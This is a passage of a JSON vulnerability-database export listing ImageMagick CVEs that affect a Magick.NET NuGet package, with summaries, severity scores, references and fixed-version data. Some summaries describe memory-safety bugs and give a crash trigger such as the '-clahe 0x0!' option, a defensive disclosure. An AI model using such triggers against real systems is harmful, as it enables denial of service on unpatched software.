0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0\nWRITE of size 1 at 0x5020000083dc thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30937.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30937.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30937", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05468", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30937" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30937", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30937" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445882", "reference_id": "2445882", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445882" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30937", "reference_id": "CVE-2026-30937", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30937" }, { "reference_url": "https://github.com/advisories/GHSA-qpg4-j99f-8xcg", "reference_id": "GHSA-qpg4-j99f-8xcg", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-qpg4-j99f-8xcg" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpg4-j99f-8xcg", "reference_id": "GHSA-qpg4-j99f-8xcg", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:34:45Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpg4-j99f-8xcg" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30937", "GHSA-qpg4-j99f-8xcg" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4hmq-1sx8-skcj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50335?format=api", "vulnerability_id": "VCID-4q34-28cp-j3fn", "summary": "ImageMagick: Out of bounds read in multiple coders read raw pixel data\nA heap buffer over-read vulnerability exists in multiple raw image format handles. The vulnerability occurs when processing images with -extract dimensions larger than -size dimensions, causing out-of-bounds memory reads from a heap-allocated buffer.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25576.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25576.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25576", "reference_id": "", "reference_type": "", "scores": [ { "value": "6e-05", "scoring_system": "epss", "scoring_elements": "0.00462", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25576" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25576", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25576" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:54:37Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/077b42643212d7da8c1a4f6b2cd0067ebca8ec0f", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:54:37Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/077b42643212d7da8c1a4f6b2cd0067ebca8ec0f" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442093", "reference_id": "2442093", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442093" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25576", "reference_id": "CVE-2026-25576", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25576" }, { "reference_url": "https://github.com/advisories/GHSA-jv4p-gjwq-9r2j", "reference_id": "GHSA-jv4p-gjwq-9r2j", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-jv4p-gjwq-9r2j" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-jv4p-gjwq-9r2j", "reference_id": "GHSA-jv4p-gjwq-9r2j", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:54:37Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-jv4p-gjwq-9r2j" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25576", "GHSA-jv4p-gjwq-9r2j" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4q34-28cp-j3fn" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50353?format=api", "vulnerability_id": "VCID-58jw-s2v7-ukcw", "summary": "ImageMagick: Integer Overflow in PSB (PSD v2) RLE decoding path causes heap Out of Bounds reads for 32-bit builds\nAn integer overflow in the PSB (PSD v2) RLE decoding path causes a heap out-of-bounds read on 32-bit builds. This can lead to information disclosure or a crash when processing crafted PSB files.\n\n```\n=================================================================\n==3298==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf512eb00 at pc 0xf76760b5 bp 0xffc1dfb8 sp 0xffc1dfa8\nREAD of size 8 at 0xf512eb00 thread T0", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/5b91ab69af614024255fd93dcc9a62b41fbc435c", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/5b91ab69af614024255fd93dcc9a62b41fbc435c" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25984", "reference_id": "CVE-2026-25984", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25984" }, { "reference_url": "https://github.com/advisories/GHSA-273h-m46v-96q4", "reference_id": "GHSA-273h-m46v-96q4", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-273h-m46v-96q4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-273h-m46v-96q4", "reference_id": "GHSA-273h-m46v-96q4", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-273h-m46v-96q4" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25984", "GHSA-273h-m46v-96q4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-58jw-s2v7-ukcw" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/48135?format=api", "vulnerability_id": "VCID-5e38-r9z4-a7h9", "summary": "ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS)\nA single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors.\nVulnerabilities exists in the `CLAHEImage()` function of ImageMagick’s `MagickCore/enhance.c`.\n\n1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when `tile_info.height == 0`, the expression `tile_info.height - 1` (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion).\n2. **Division/modulus by zero**: where code performs `... / tile_info.width` or `... % tile_info.height` without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or `abort` at runtime.\n\nBoth behaviors are triggered by the same invalid tile condition (e.g., CLI exact `-clahe 0x0!` or automatic tile derivation `dim >> 3 == 0` for very small images).\n\n---", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62594.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62594.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62594", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04884", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62594" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/7b47fe369eda90483402fcd3d78fa4167d3bb129", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-27T20:23:10Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/7b47fe369eda90483402fcd3d78fa4167d3bb129" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1119296", "reference_id": "1119296", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1119296" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2406644", "reference_id": "2406644", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2406644" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62594", "reference_id": "CVE-2025-62594", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62594" }, { "reference_url": "https://github.com/advisories/GHSA-wpp4-vqfq-v4hp", "reference_id": "GHSA-wpp4-vqfq-v4hp", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-wpp4-vqfq-v4hp" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wpp4-vqfq-v4hp", "reference_id": "GHSA-wpp4-vqfq-v4hp", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-10-27T20:23:10Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wpp4-vqfq-v4hp" } ], "fixed_packages": [], "aliases": [ "CVE-2025-62594", "GHSA-wpp4-vqfq-v4hp" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5e38-r9z4-a7h9" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50311?format=api", "vulnerability_id": "VCID-5e5g-55d6-3yev", "summary": "ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder\nA crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort.\n\nFound via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25985.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25985.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25985", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05451", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25985" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25985", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25985" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/1a51eb9af00c36724660e294520878fd1f13e312", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/1a51eb9af00c36724660e294520878fd1f13e312" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442127", "reference_id": "2442127", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442127" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25985", "reference_id": "CVE-2026-25985", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25985" }, { "reference_url": "https://github.com/advisories/GHSA-v7g2-m8c5-mf84", "reference_id": "GHSA-v7g2-m8c5-mf84", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-v7g2-m8c5-mf84" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v7g2-m8c5-mf84", "reference_id": "GHSA-v7g2-m8c5-mf84", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:05:38Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v7g2-m8c5-mf84" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:5573", "reference_id": "RHSA-2026:5573", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:5573" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": 